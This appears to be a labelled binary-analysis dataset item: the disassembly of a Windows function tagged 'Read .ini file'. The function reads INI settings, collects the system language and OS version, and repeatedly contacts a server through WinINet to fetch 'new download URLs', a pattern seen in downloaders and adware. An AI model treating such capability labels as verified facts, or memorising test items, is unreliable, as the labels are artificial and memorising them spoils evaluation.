Function at 0x404e03
Capabilities:
Read .ini file

Disassembly:
mov eax, 0x41a58e
call fcn.00410e40
sub esp, 0x2ac
mov eax, dword [0x4240b8]
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x2a4]
push eax
call fcn.00404c9f
pop ecx
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
mov eax, dword [ebp - 0x2a4]
cmp dword [eax - 0xc], edi
je 0x40524e
push str.localhost
push 0x4256d8
call fcn.0040f5a2
test eax, eax
pop ecx
pop ecx
jne 0x40524e
push esi
call fcn.0040a873
mov esi, eax
cmp esi, edi
je 0x404e6b
cmp dword [ebp + 0xc], edi
je 0x404e75
mov dword [0x424c70], 0xa
mov eax, dword [0x424e6c]
push ebx
mov ebx, 0x424e6c
mov ecx, ebx
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x29c], eax
push esi
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx eax, ax
push eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
push eax
push 0x4254d0
push dword [0x424dcc]
lea eax, [ebp - 0x29c]
push eax
call fcn.004023bd
add esp, 0x18
cmp esi, edi
je 0x404eda
cmp dword [ebp + 0xc], edi
je 0x404eda
push 0x41da7c
lea eax, [ebp - 0x29c]
push eax
call fcn.004047d6
jmp 0x404f05
lea eax, [ebp + 0xc]
push eax
call fcn.0040a65e
pop ecx
mov byte [ebp - 4], 2
push dword [ebp + 0xc]
lea esi, [ebp - 0x29c]
call fcn.00405314
mov byte [ebp - 4], 1
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
call fcn.0040252d
mov eax, dword [0x424e6c]
mov ecx, ebx
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2a8], eax
mov byte [ebp - 4], 3
push dword [0x425f10]
lea eax, [ebp - 0x2a8]
push str.minitype_d
push eax
call fcn.00405275
add esp, 0xc
push dword [ebp - 0x2a8]
lea esi, [ebp - 0x29c]
call fcn.00405314
push str.dycfgver
mov eax, esi
push eax
call fcn.004047d6
lea eax, [ebp + 0xc]
push eax
call fcn.0040a542
pop ecx
mov byte [ebp - 4], 4
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
mov eax, esi
call fcn.00404a8a
mov byte [ebp - 4], 3
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
call fcn.0040252d
push 0x41e134
mov eax, esi
push eax
call fcn.004047d6
lea eax, [ebp + 0xc]
push eax
call fcn.0040a5d0
pop ecx
mov byte [ebp - 4], 5
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
mov eax, esi
call fcn.00404a8a
mov byte [ebp - 4], 3
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
call fcn.0040252d
cmp word [0x425a88], di
je 0x404fd9
push dword [0x424dc8]
mov eax, esi
push eax
call fcn.004047d6
push 0x425a88
mov eax, esi
push eax
call fcn.004047d6
push 0x104
lea eax, [ebp - 0x298]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x298]
push 0x5c
push eax
call fcn.0040f24f
pop ecx
pop ecx
push dword [0x424db4]
add eax, 2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x298]
push eax
push 0x40
lea eax, [ebp - 0x90]
push eax
push 0x41da7c
push dword [0x424dbc]
push dword [0x424db8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push dword [0x424dc4]
lea eax, [ebp - 0x29c]
push eax
call fcn.004047d6
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.004047d6
push 0x41e12c
push 0x41e128
lea eax, [ebp - 0x29c]
push eax
call fcn.0040448f
push dword [ebp - 0x29c]
push str.GetNewDownloadUrls_command__s_n
call fcn.00409a2f
mov eax, dword [0x424e6c]
pop ecx
pop ecx
mov ecx, ebx
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2a0], eax
mov byte [ebp - 4], 6
mov eax, dword [0x424e6c]
mov ecx, ebx
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp + 0xc], eax
mov byte [ebp - 4], 7
lea esi, [ebp - 0x2a0]
call fcn.00405288
lea eax, [ebp - 0x2b8]
push eax
call fcn.00406737
mov byte [ebp - 4], 8
push dword [0x424c6c]
lea eax, [ebp - 0x2b8]
push 0x4256d8
call fcn.004067d7
test eax, eax
je 0x40515b
push str.GetNewDownloadUrls_connect_succeed._n
call fcn.00409a2f
push dword [0x424c70]
lea eax, [ebp + 0xc]
push dword [ebp - 0x29c]
push dword [0x424dc0]
push eax
call fcn.004023bd
add esp, 0x14
push dword [ebp + 0xc]
lea eax, [ebp - 0x2b8]
push 0x41e090
call fcn.00406825
test eax, eax
je 0x40515b
push dword [ebp + 0xc]
push str.GetNewDownloadUrls_OpenRequest_succeed.__s_n
call fcn.00409a2f
pop ecx
pop ecx
push edi
push edi
push edi
push edi
lea esi, [ebp - 0x2b8]
call fcn.0040687b
test eax, eax
je 0x40515b
push str.GetNewDownloadUrls_SendRequest_succeed._n
call fcn.00409a2f
pop ecx
lea eax, [ebp - 0x2a0]
push eax
mov eax, esi
push eax
call fcn.004069b6
cmp dword [ebp - 0x2b0], edi
je 0x405175
push dword [ebp - 0x2b0]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x2b0], edi
cmp dword [ebp - 0x2b4], edi
je 0x40518f
push dword [ebp - 0x2b4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x2b4], edi
push dword [ebp - 0x2a0]
lea eax, [ebp + 0xc]
call fcn.004052c7
push dword [ebp + 0xc]
push str.GetNewDownloadUrls_Read__s_n
call fcn.00409a2f
mov ebx, dword [ebp + 8]
pop ecx
pop ecx
push dword [ebp - 0x2a4]
push dword [ebp + 0xc]
call fcn.004035d7
test eax, eax
je 0x4051ef
cmp dword [0x424c70], 0x14
jle 0x4051ef
dec dword [0x424c70]
push 0x927c0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea esi, [ebp - 0x2b8]
mov byte [ebp - 4], 7
call fcn.004067a7
jmp 0x4050ab
lea esi, [ebp - 0x2b8]
mov byte [ebp - 4], 7
call fcn.004067a7
call fcn.0040ad63
mov esi, dword [ebp - 0x2a0]
cmp dword [esi - 0xc], edi
pop ebx
jne 0x405214
or edi, 0xffffffff
jmp 0x40521e
mov eax, dword [ebp + 8]
call fcn.00403093
mov edi, eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
call fcn.0040252d
lea eax, [esi - 0x10]
call fcn.0040252d
mov eax, dword [ebp - 0x2a8]
add eax, 0xfffffff0
call fcn.0040252d
mov eax, dword [ebp - 0x29c]
add eax, 0xfffffff0
call fcn.0040252d
pop esi
mov eax, dword [ebp - 0x2a4]
add eax, 0xfffffff0
call fcn.0040252d
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
mov eax, edi
pop edi
call fcn.00410647
leave
ret 8